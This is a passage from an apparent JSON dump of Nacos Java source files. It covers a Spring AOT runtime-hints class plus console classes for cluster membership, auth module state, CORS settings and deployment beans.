{com.alipay.sofa.jraft.rpc.ProtobufMsgFactory.class,\n            com.alipay.sofa.jraft.rpc.RpcRequestClosure.class,\n            com.alipay.sofa.jraft.rpc.impl.AbstractClientService.class,\n            com.alipay.sofa.jraft.rpc.impl.BoltRaftRpcFactory.class,\n            com.alipay.sofa.jraft.rpc.impl.GrpcRaftRpcFactory.class,\n            com.alipay.sofa.jraft.util.JRaftSignalHandler.class,\n            com.alipay.sofa.jraft.util.concurrent.MpscSingleThreadExecutor.class,\n            com.alipay.sofa.jraft.util.timer.DefaultRaftTimerFactory.class,\n            com.alipay.sofa.jraft.util.internal.ThrowUtil.class,\n            com.alipay.sofa.jraft.core.DefaultJRaftServiceFactory.class, com.alipay.sofa.jraft.core.NodeImpl.class,\n            com.alipay.sofa.jraft.core.Replicator.class,\n            com.alipay.sofa.jraft.storage.snapshot.local.LocalSnapshotReader.class};\n    // endregion\n    \n    // region gRpc\n    private final Class<?>[] grpcClasses = {com.google.protobuf.Any.class, com.google.protobuf.Any.Builder.class,\n            com.google.protobuf.ByteString.class, com.google.protobuf.Message.class,\n            com.google.protobuf.ByteString.class, com.google.protobuf.CodedInputStream.class,\n            com.google.common.util.concurrent.AbstractFuture.class,\n            com.google.common.util.concurrent.ListenableFuture.class,\n            \n            io.grpc.KnownLength.class, io.grpc.ServerCall.class, io.grpc.ServerBuilder.class,\n            io.grpc.stub.ClientCalls.class, io.grpc.stub.ServerCalls.class, io.grpc.stub.ServerCallStreamObserver.class,\n            io.grpc.stub.CallStreamObserver.class, io.grpc.stub.StreamObserver.class,\n            io.grpc.internal.ReadableBuffers.class, io.grpc.internal.ServerImplBuilder.class,\n            io.grpc.internal.ClientStreamListener.class, io.grpc.netty.shaded.io.netty.bootstrap.ServerBootstrap.class,\n            io.grpc.netty.shaded.io.netty.buffer.AbstractByteBufAllocator.class,\n            io.grpc.netty.shaded.io.netty.buffer.AbstractReferenceCountedByteBuf.class,\n            io.grpc.netty.shaded.io.netty.buffer.ByteBufAllocator.class,\n            io.grpc.netty.shaded.io.netty.buffer.ByteBufUtil.class,\n            io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator.class,\n            io.grpc.netty.shaded.io.netty.buffer.UnpooledDirectByteBuf.class,\n            io.grpc.netty.shaded.io.grpc.netty.NettyServerBuilder.class,\n            io.grpc.netty.shaded.io.grpc.netty.NettyServerProvider.class,\n            io.grpc.netty.shaded.io.grpc.netty.NettyChannelBuilder.class,\n            io.grpc.netty.shaded.io.grpc.netty.NettyChannelProvider.class,\n            io.grpc.netty.shaded.io.grpc.netty.NettyConnectionHelper.class,\n            io.grpc.netty.shaded.io.netty.channel.socket.nio.NioSocketChannel.class,\n            io.grpc.netty.shaded.io.netty.util.AttributeKey.class, io.grpc.ForwardingServerCall.class,\n            io.grpc.ForwardingServerCall.SimpleForwardingServerCall.class,\n            \n            Class.forName(\"io.grpc.internal.ServerCallImpl\"),\n            Class.forName(\"io.grpc.netty.shaded.io.grpc.netty.WriteQueue\"),\n            Class.forName(\"io.grpc.netty.shaded.io.grpc.netty.NettyServerStream\")};\n    // endregion\n    \n    // region Nacos Hints\n    private final Class<?>[] nacosClasses = {\n            // reflect\n            com.alibaba.nacos.common.notify.SlowEvent.class, com.alibaba.nacos.common.packagescan.PackageScan.class,\n            com.alibaba.nacos.common.packagescan.DefaultPackageScan.class,\n            com.alibaba.nacos.naming.core.v2.event.metadata.MetadataEvent.ServiceMetadataEvent.class,\n            com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl.class,\n            com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl.InstanceStoreRequest.class,\n            com.alibaba.nacos.persistence.datasource.LocalDataSourceServiceImpl.class,\n            com.alibaba.nacos.persistence.configuration.condition.ConditionStandaloneEmbedStorage.class,\n            com.alibaba.nacos.consistency.snapshot.LocalFileMeta.class,\n            com.alibaba.nacos.consistency.ProtocolMetaData.class,\n            com.alibaba.nacos.common.remote.client.grpc.GrpcUtils.class,\n            com.alibaba.nacos.api.naming.remote.request.AbstractNamingRequest.class,\n            com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest.class,\n            com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest.ConfigListenContext.class,\n            com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse.class,\n            com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse.ConfigContext.class,\n            com.alibaba.nacos.api.remote.response.ClientDetectionResponse.class,\n            com.alibaba.nacos.api.remote.response.ConnectResetResponse.class,\n            com.alibaba.nacos.api.remote.response.ErrorResponse.class,\n            com.alibaba.nacos.api.remote.response.HealthCheckResponse.class,\n            com.alibaba.nacos.api.remote.response.Response.class,\n            com.alibaba.nacos.api.remote.response.ServerCheckResponse.class,\n            com.alibaba.nacos.api.remote.response.ServerLoaderInfoResponse.class,\n            com.alibaba.nacos.api.remote.response.ServerReloadResponse.class,\n            com.alibaba.nacos.api.remote.response.SetupAckResponse.class,\n            // cluster\n            com.alibaba.nacos.consistency.ap.APProtocol.class, com.alibaba.nacos.consistency.cp.CPProtocol.class,\n            com.alibaba.nacos.core.distributed.raft.RaftConfig.class,\n            com.alibaba.nacos.core.distributed.raft.RaftEvent.class,\n            com.alibaba.nacos.api.ability.ServerAbilities.class,\n            com.alibaba.nacos.api.config.ability.ServerConfigAbility.class,\n            com.alibaba.nacos.api.naming.ability.ServerNamingAbility.class,\n            com.alibaba.nacos.consistency.DataOperation.class, com.alibaba.nacos.core.cluster.Member.class,\n            com.alibaba.nacos.core.cluster.remote.request.AbstractClusterRequest.class,\n            com.alibaba.nacos.core.cluster.remote.request.MemberReportRequest.class,\n            com.alibaba.nacos.core.cluster.remote.response.MemberReportResponse.class,\n            com.alibaba.nacos.core.cluster.remote.ClusterRpcClientProxy.class,\n            com.alibaba.nacos.core.distributed.distro.entity.DistroData.class,\n            com.alibaba.nacos.core.distributed.distro.entity.DistroKey.class,\n            com.alibaba.nacos.naming.cluster.remote.request.DistroDataRequest.class,\n            com.alibaba.nacos.naming.cluster.remote.response.DistroDataResponse.class,\n            com.alibaba.nacos.naming.core.v2.client.ClientSyncDatumSnapshot.class,\n            com.alibaba.nacos.naming.core.v2.pojo.BatchInstancePublishInfo.class,\n            // proto\n            com.alibaba.nacos.consistency.entity.WriteRequest.class,\n            com.alibaba.nacos.consistency.entity.WriteRequest.Builder.class,\n            com.alibaba.nacos.consistency.entity.ReadRequest.class,\n            com.alibaba.nacos.consistency.entity.ReadRequest.Builder.class,\n            com.alibaba.nacos.consistency.entity.Response.class,\n            com.alibaba.nacos.consistency.entity.Response.Builder.class,\n            com.alibaba.nacos.consistency.entity.GetRequest.class,\n            com.alibaba.nacos.consistency.entity.GetRequest.Builder.class,\n            com.alibaba.nacos.consistency.entity.Log.class, com.alibaba.nacos.consistency.entity.Log.Builder.class,\n            // grpc\n            com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc.class,\n            com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc.BiRequestStreamBlockingStub.class,\n            com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc.BiRequestStreamFutureStub.class,\n            com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc.BiRequestStreamImplBase.class,\n            com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc.BiRequestStreamStub.class,\n            com.alibaba.nacos.api.grpc.auto.Metadata.class, com.alibaba.nacos.api.grpc.auto.Metadata.Builder.class,\n            com.alibaba.nacos.api.grpc.auto.NacosGrpcService.class, com.alibaba.nacos.api.grpc.auto.Payload.class,\n            com.alibaba.nacos.api.grpc.auto.Payload.Builder.class, com.alibaba.nacos.api.grpc.auto.RequestGrpc.class,\n            com.alibaba.nacos.api.grpc.auto.RequestGrpc.RequestStub.class,\n            com.alibaba.nacos.api.grpc.auto.RequestGrpc.RequestBlockingStub.class,\n            com.alibaba.nacos.api.grpc.auto.RequestGrpc.RequestFutureStub.class,\n            com.alibaba.nacos.api.grpc.auto.RequestGrpc.RequestImplBase.class,\n            com.alibaba.nacos.api.naming.remote.request.InstanceRequest.class,\n            com.alibaba.nacos.api.naming.remote.request.PersistentInstanceRequest.class,\n            com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest.class,\n            com.alibaba.nacos.api.config.remote.request.ConfigQueryRequest.class,\n            com.alibaba.nacos.api.config.remote.request.ClientConfigMetricRequest.class,\n            com.alibaba.nacos.api.config.remote.request.ConfigChangeNotifyRequest.class,\n            com.alibaba.nacos.api.config.remote.request.ConfigPublishRequest.class,\n            com.alibaba.nacos.api.config.remote.request.ConfigRemoveRequest.class,\n            com.alibaba.nacos.api.config.remote.request.cluster.ConfigChangeClusterSyncRequest.class,\n            com.alibaba.nacos.api.config.remote.response.ClientConfigMetricResponse.class,\n            com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse.class,\n            com.alibaba.nacos.api.config.remote.response.ConfigChangeNotifyResponse.class,\n            com.alibaba.nacos.api.config.remote.response.ConfigPublishResponse.class,\n            com.alibaba.nacos.api.config.remote.response.ConfigQueryResponse.class,\n            com.alibaba.nacos.api.config.remote.response.ConfigRemoveResponse.class,\n            com.alibaba.nacos.api.config.remote.response.cluster.ConfigChangeClusterSyncResponse.class,\n            com.alibaba.nacos.api.naming.remote.request.BatchInstanceRequest.class,\n            com.alibaba.nacos.api.naming.remote.request.NotifySubscriberRequest.class,\n            com.alibaba.nacos.api.naming.remote.request.ServiceListRequest.class,\n            com.alibaba.nacos.api.naming.remote.request.ServiceQueryRequest.class,\n            com.alibaba.nacos.api.naming.remote.request.SubscribeServiceRequest.class,\n            com.alibaba.nacos.api.naming.remote.response.BatchInstanceResponse.class,\n            com.alibaba.nacos.api.naming.remote.response.InstanceResponse.class,\n            com.alibaba.nacos.api.naming.remote.response.NotifySubscriberResponse.class,\n            com.alibaba.nacos.api.naming.remote.response.QueryServiceResponse.class,\n            com.alibaba.nacos.api.naming.remote.response.ServiceListResponse.class,\n            com.alibaba.nacos.api.naming.remote.response.SubscribeServiceResponse.class,\n            com.alibaba.nacos.api.remote.request.ClientDetectionRequest.class,\n            com.alibaba.nacos.api.remote.request.ConnectionSetupRequest.class,\n            com.alibaba.nacos.api.remote.request.ConnectResetRequest.class,\n            com.alibaba.nacos.api.remote.request.HealthCheckRequest.class,\n            com.alibaba.nacos.api.remote.request.InternalRequest.class,\n            com.alibaba.nacos.api.remote.request.PushAckRequest.class,\n            com.alibaba.nacos.api.remote.request.Request.class, com.alibaba.nacos.api.remote.request.RequestMeta.class,\n            com.alibaba.nacos.api.remote.request.ServerCheckRequest.class,\n            com.alibaba.nacos.api.remote.request.ServerLoaderInfoRequest.class,\n            com.alibaba.nacos.api.remote.request.ServerReloadRequest.class,\n            com.alibaba.nacos.api.remote.request.SetupAckRequest.class,\n            com.alibaba.nacos.api.remote.response.ClientDetectionResponse.class,\n            com.alibaba.nacos.api.remote.response.ConnectResetResponse.class,\n            com.alibaba.nacos.api.remote.response.ErrorResponse.class,\n            com.alibaba.nacos.api.remote.response.HealthCheckResponse.class,\n            com.alibaba.nacos.api.remote.response.ServerCheckResponse.class,\n            com.alibaba.nacos.api.remote.response.ServerLoaderInfoResponse.class,\n            com.alibaba.nacos.api.remote.response.ServerReloadResponse.class,\n            com.alibaba.nacos.api.remote.response.SetupAckResponse.class,\n            com.alibaba.nacos.core.distributed.raft.NacosClosure.class,\n            com.alibaba.nacos.core.monitor.GrpcServerThreadPoolMonitor.class,\n            com.alibaba.nacos.core.remote.grpc.BaseGrpcServer.class, com.alibaba.nacos.core.remote.BaseRpcServer.class,\n            com.alibaba.nacos.core.remote.grpc.GrpcBiStreamRequestAcceptor.class,\n            com.alibaba.nacos.core.remote.grpc.GrpcClusterServer.class,\n            com.alibaba.nacos.core.remote.grpc.GrpcSdkServer.class,\n            com.alibaba.nacos.core.cluster.remote.request.MemberReportRequest.class,\n            com.alibaba.nacos.core.cluster.remote.response.MemberReportResponse.class,\n            com.alibaba.nacos.naming.cluster.remote.request.DistroDataRequest.class,\n            com.alibaba.nacos.naming.cluster.remote.response.DistroDataResponse.class,\n            // serializer\n            com.alibaba.nacos.consistency.serialize.HessianSerializer.class,\n            com.alibaba.nacos.consistency.serialize.JacksonSerializer.class,\n            com.alibaba.nacos.consistency.serialize.NacosHessianSerializerFactory.class,\n            com.alibaba.nacos.naming.core.v2.client.ClientSyncData.class,\n            com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadata.class,\n            com.alibaba.nacos.naming.core.v2.pojo.HealthCheckInstancePublishInfo.class,\n            com.alibaba.nacos.naming.core.v2.pojo.BatchInstancePublishInfo.class,\n            com.alibaba.nacos.naming.core.v2.pojo.BatchInstanceData.class,\n            com.alibaba.nacos.naming.core.v2.pojo.InstancePublishInfo.class,\n            com.alibaba.nacos.naming.core.v2.pojo.Service.class, com.alibaba.nacos.api.naming.pojo.Cluster.class,\n            com.alibaba.nacos.api.naming.pojo.Instance.class, com.alibaba.nacos.api.naming.pojo.ListView.class,\n            com.alibaba.nacos.api.naming.pojo.Service.class, com.alibaba.nacos.api.naming.pojo.ServiceInfo.class,\n            com.alibaba.nacos.api.naming.pojo.builder.InstanceBuilder.class,\n            com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker.class,\n            com.alibaba.nacos.api.naming.pojo.healthcheck.HealthCheckerFactory.class,\n            com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Http.class,\n            com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Mysql.class,\n            com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Tcp.class,\n            com.alibaba.nacos.api.remote.request.Request.class, ServiceView.class,\n            com.alibaba.nacos.naming.pojo.Subscriber.class, com.alibaba.nacos.naming.pojo.Subscribers.class,\n            com.alibaba.nacos.naming.pojo.ClusterInfo.class, com.alibaba.nacos.naming.pojo.InstanceOperationInfo.class,\n            com.alibaba.nacos.naming.pojo.IpAddressInfo.class, com.alibaba.nacos.naming.pojo.Record.class,\n            com.alibaba.nacos.naming.pojo.ServiceDetailInfo.class, com.alibaba.nacos.naming.pojo.ServiceNameView.class,\n            // sys and plugin\n            com.alibaba.nacos.config.server.filter.ConfigEnabledFilter.class,\n            com.alibaba.nacos.naming.config.NamingEnabledFilter.class,\n            com.alibaba.nacos.istio.config.IstioEnabledFilter.class, com.alibaba.nacos.config.server.Config.class,\n            com.alibaba.nacos.naming.NamingApp.class, com.alibaba.nacos.cmdb.CmdbApp.class,\n            com.alibaba.nacos.istio.IstioApp.class, com.alibaba.nacos.prometheus.PrometheusApp.class,\n            com.alibaba.nacos.sys.filter.NacosTypeExcludeFilter.class,\n            com.alibaba.nacos.sys.filter.NacosPackageExcludeFilter.class,\n            com.alibaba.nacos.plugin.control.ControlManagerCenter.class,\n            com.alibaba.nacos.plugin.control.connection.ConnectionMetricsCollector.class,\n            com.alibaba.nacos.config.server.service.LongPollingConnectionMetricsCollector.class,\n            com.alibaba.nacos.core.remote.RuntimeConnectionEjector.class,\n            com.alibaba.nacos.core.remote.ConnectionManager.class,\n            com.alibaba.nacos.config.server.remote.RpcConfigChangeNotifier.class,};\n    // endregion\n    \n    // region Nacos Serializer\n    private final List<Class<? extends Serializable>> serializer = List.of(byte.class, byte[].class, String.class,\n            ConcurrentHashMap.class, com.alibaba.nacos.api.grpc.auto.Metadata.class,\n            com.alibaba.nacos.api.grpc.auto.Payload.class, com.alibaba.nacos.naming.core.v2.client.ClientSyncData.class,\n            com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadata.class,\n            com.alibaba.nacos.naming.core.v2.pojo.HealthCheckInstancePublishInfo.class,\n            com.alibaba.nacos.naming.core.v2.pojo.BatchInstancePublishInfo.class,\n            com.alibaba.nacos.naming.core.v2.pojo.BatchInstanceData.class,\n            com.alibaba.nacos.naming.core.v2.pojo.InstancePublishInfo.class,\n            com.alibaba.nacos.naming.core.v2.pojo.Service.class,\n            com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl.InstanceStoreRequest.class,\n            com.alibaba.nacos.api.naming.pojo.Cluster.class, com.alibaba.nacos.api.naming.pojo.Instance.class,\n            com.alibaba.nacos.api.naming.pojo.Service.class,\n            com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Http.class,\n            com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Mysql.class,\n            com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Tcp.class,\n            com.alibaba.nacos.naming.pojo.Subscriber.class, com.alibaba.nacos.naming.pojo.Subscribers.class,\n            com.alibaba.nacos.naming.pojo.ClusterInfo.class, com.alibaba.nacos.naming.pojo.IpAddressInfo.class,\n            com.alibaba.nacos.naming.pojo.Record.class, com.alibaba.nacos.naming.pojo.ServiceDetailInfo.class,\n            com.alibaba.nacos.consistency.entity.WriteRequest.class,\n            com.alibaba.nacos.consistency.entity.ReadRequest.class, com.alibaba.nacos.consistency.entity.Response.class,\n            com.alibaba.nacos.consistency.entity.GetRequest.class, com.alibaba.nacos.consistency.entity.Log.class);\n    // endregion\n    \n    private final String[] resourcePattern = {AotConfiguration.reflectToNativeLibraryLoader(),\n            \".*libnetty_transport_native_epoll_.*\\\\.so\", \".*\\\\.desc$\", \".*\\\\.html$\", \".*\\\\.css$\", \".*\\\\.js$\",\n            \".*\\\\.js.map$\", \".*\\\\.png$\", \".*\\\\.svg$\", \".*\\\\.eot$\", \".*\\\\.woff$\", \".*\\\\.woff2$\", \".*\\\\.ttf$\",\n            \"org/apache/derby/modules.properties\", \"application.properties\",};\n    \n    public NacosRuntimeHints() throws ClassNotFoundException {\n    }\n    \n    @Override\n    public void registerHints(RuntimeHints hints, ClassLoader classLoader) {\n        Stream.of(javaClasses, hessianClasses, sqlClasses, grpcClasses, jraftDataClasses, jraftRpcClasses,\n                jraftCliClasses, jraftUtilClasses, nacosClasses).flatMap(Stream::of).forEach(type -> hints.reflection()\n                .registerType(type, MemberCategory.INVOKE_DECLARED_CONSTRUCTORS, MemberCategory.INVOKE_DECLARED_METHODS,\n                        MemberCategory.DECLARED_FIELDS, MemberCategory.DECLARED_CLASSES));\n\n        // Register optional plugin classes by name to avoid compile-time dependency\n        registerOptionalClass(hints, \"com.alibaba.nacos.plugin.auth.impl.jwt.NacosJwtPayload\");\n        // Register optional legacy adapter naming controllers (when api-legacy-adapter is on classpath, e.g. via bootstrap)\n        registerOptionalClass(hints, \"com.alibaba.nacos.legacy.adapter.naming.CatalogController\");\n\n        for (String pattern : resourcePattern) {\n            hints.resources().registerPattern(pattern);\n        }\n\n        serializer.forEach(type -> hints.serialization().registerType(type));\n    }\n\n    private void registerOptionalClass(RuntimeHints hints, String className) {\n        try {\n            Class<?> clazz = Class.forName(className);\n            hints.reflection().registerType(clazz, MemberCategory.INVOKE_DECLARED_CONSTRUCTORS,\n                    MemberCategory.INVOKE_DECLARED_METHODS, MemberCategory.DECLARED_FIELDS,\n                    MemberCategory.DECLARED_CLASSES);\n        } catch (ClassNotFoundException e) {\n            // Optional plugin class not available, skip registration\n        }\n    }\n\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/cluster/RemoteServerMemberManager.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.cluster;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.cluster.MemberLookup;\nimport com.alibaba.nacos.core.cluster.MembersChangeEvent;\nimport com.alibaba.nacos.core.cluster.NacosMemberManager;\nimport com.alibaba.nacos.core.cluster.lookup.LookupFactory;\nimport com.alibaba.nacos.core.utils.Loggers;\nimport org.springframework.stereotype.Service;\n\nimport javax.annotation.PostConstruct;\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.concurrent.ConcurrentSkipListMap;\n\n/**\n * Nacos remote server members manager. Only working on console mode to keep and update the remote server members.\n *\n * @author xiweng.yy\n */\n@Service\n@EnabledRemoteHandler\npublic class RemoteServerMemberManager implements NacosMemberManager {\n    \n    /**\n     * Nacos remote servers cluster node list.\n     */\n    private volatile ConcurrentSkipListMap<String, Member> serverList;\n    \n    /**\n     * Addressing pattern instances.\n     */\n    private MemberLookup lookup;\n    \n    public RemoteServerMemberManager() {\n        this.serverList = new ConcurrentSkipListMap<>();\n    }\n    \n    @PostConstruct\n    public void init() throws NacosException {\n        initAndStartLookup();\n    }\n    \n    private void initAndStartLookup() throws NacosException {\n        this.lookup = LookupFactory.createLookUp();\n        this.lookup.injectMemberManager(this);\n        this.lookup.start();\n    }\n    \n    @Override\n    public synchronized boolean memberChange(Collection<Member> members) {\n        ConcurrentSkipListMap<String, Member> newServerList = new ConcurrentSkipListMap<>();\n        for (Member each : members) {\n            newServerList.put(each.getAddress(), each);\n        }\n        Loggers.CLUSTER.info(\"[serverlist] nacos remote server members changed to : {}\", newServerList);\n        this.serverList = newServerList;\n        Event event = MembersChangeEvent.builder().members(members).build();\n        NotifyCenter.publishEvent(event);\n        return true;\n    }\n    \n    @Override\n    public Collection<Member> allMembers() {\n        return new HashSet<>(serverList.values());\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/config/ConsoleAuthModuleStateBuilder.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.config;\n\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.auth.config.NacosAuthConfigHolder;\nimport com.alibaba.nacos.plugin.auth.spi.server.AuthPluginManager;\nimport com.alibaba.nacos.plugin.auth.spi.server.AuthPluginService;\nimport com.alibaba.nacos.sys.module.AbstractConsoleModuleStateBuilder;\nimport com.alibaba.nacos.sys.module.ModuleState;\n\nimport java.util.Optional;\n\n/**\n * Module state builder for auth module.\n *\n * @author xiweng.yy\n */\npublic class ConsoleAuthModuleStateBuilder extends AbstractConsoleModuleStateBuilder {\n    \n    public static final String AUTH_MODULE = \"console_auth\";\n    \n    public static final String AUTH_ENABLED = \"auth_enabled\";\n    \n    public static final String LOGIN_PAGE_ENABLED = \"login_page_enabled\";\n    \n    public static final String AUTH_SYSTEM_TYPE = \"auth_system_type\";\n    \n    private boolean cacheable;\n    \n    @Override\n    public ModuleState build() {\n        ModuleState result = new ModuleState(AUTH_MODULE);\n        NacosAuthConfig authConfig = NacosAuthConfigHolder.getInstance()\n                .getNacosAuthConfigByScope(NacosConsoleAuthConfig.NACOS_CONSOLE_AUTH_SCOPE);\n        result.newState(AUTH_ENABLED, authConfig.isAuthEnabled());\n        result.newState(LOGIN_PAGE_ENABLED, isLoginPageEnabled(authConfig));\n        result.newState(AUTH_SYSTEM_TYPE, authConfig.getNacosAuthSystemType());\n        return result;\n    }\n    \n    @Override\n    public boolean isCacheable() {\n        return cacheable;\n    }\n    \n    private Boolean isLoginPageEnabled(NacosAuthConfig authConfigs) {\n        Optional<AuthPluginService> authPluginService = AuthPluginManager.getInstance()\n                .findAuthServiceSpiImpl(authConfigs.getNacosAuthSystemType());\n        return authPluginService.map(AuthPluginService::isLoginEnabled).orElse(false);\n    }\n    \n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/config/ConsoleCorsConfig.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.config;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.sys.env.EnvUtil;\n\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\n/**\n * Nacos console cors configurations.\n *\n * @author zhan7236\n */\npublic class ConsoleCorsConfig {\n    \n    private static final String CONSOLE_CORS_PREFIX = \"nacos.console.cors.\";\n    \n    private static final String ALLOW_CREDENTIALS_KEY = CONSOLE_CORS_PREFIX + \"allow-credentials\";\n    \n    private static final String ALLOWED_HEADERS_KEY = CONSOLE_CORS_PREFIX + \"allowed-headers\";\n    \n    private static final String MAX_AGE_KEY = CONSOLE_CORS_PREFIX + \"max-age\";\n    \n    private static final String ALLOWED_METHODS_KEY = CONSOLE_CORS_PREFIX + \"allowed-methods\";\n    \n    private static final String ALLOWED_ORIGINS_KEY = CONSOLE_CORS_PREFIX + \"allowed-origins\";\n    \n    private static final boolean DEFAULT_ALLOW_CREDENTIALS = true;\n    \n    private static final long DEFAULT_MAX_AGE = 18000L;\n    \n    private final boolean allowCredentials;\n    \n    private final List<String> allowedHeaders;\n    \n    private final long maxAge;\n    \n    private final List<String> allowedMethods;\n    \n    private final List<String> allowedOrigins;\n    \n    public ConsoleCorsConfig() {\n        this.allowCredentials = EnvUtil.getProperty(ALLOW_CREDENTIALS_KEY, Boolean.class, DEFAULT_ALLOW_CREDENTIALS);\n        this.allowedHeaders = parseListProperty(ALLOWED_HEADERS_KEY);\n        this.maxAge = EnvUtil.getProperty(MAX_AGE_KEY, Long.class, DEFAULT_MAX_AGE);\n        this.allowedMethods = parseListProperty(ALLOWED_METHODS_KEY);\n        this.allowedOrigins = parseListProperty(ALLOWED_ORIGINS_KEY);\n    }\n    \n    private List<String> parseListProperty(String key) {\n        String value = EnvUtil.getProperty(key, \"\");\n        if (StringUtils.isNotBlank(value)) {\n            return Arrays.asList(value.split(\",\"));\n        }\n        return Collections.emptyList();\n    }\n    \n    public boolean isAllowCredentials() {\n        return allowCredentials;\n    }\n    \n    public List<String> getAllowedHeaders() {\n        return allowedHeaders;\n    }\n    \n    public long getMaxAge() {\n        return maxAge;\n    }\n    \n    public List<String> getAllowedMethods() {\n        return allowedMethods;\n    }\n    \n    public List<String> getAllowedOrigins() {\n        return allowedOrigins;\n    }\n    \n    @Override\n    public String toString() {\n        return \"ConsoleCorsConfig{\" + \"allowCredentials=\" + allowCredentials + \", allowedHeaders=\" + allowedHeaders\n                + \", maxAge=\" + maxAge + \", allowedMethods=\" + allowedMethods + \", allowedOrigins=\" + allowedOrigins\n                + '}';\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/config/ConsoleDeploymentConfig.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.config;\n\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.core.code.ControllerMethodsCache;\nimport com.alibaba.nacos.naming.selector.SelectorManager;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * Load Beans for {@link com.alibaba.nacos.sys.env.DeploymentType#CONSOLE} type.\n *\n * @author xiweng.yy\n */\n@Configuration\n@EnabledRemoteHandler\npublic class ConsoleDeploymentConfig {\n    \n    @Bean\n    public ControllerMethodsCache controllerMethodsCache() {\n        return new ControllerMethodsCache();\n    }\n    \n    @Bean\n    public SelectorManager selectorManager() {\n        return new SelectorManager();\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/config/ConsoleFunctionEnabledConfig.java",
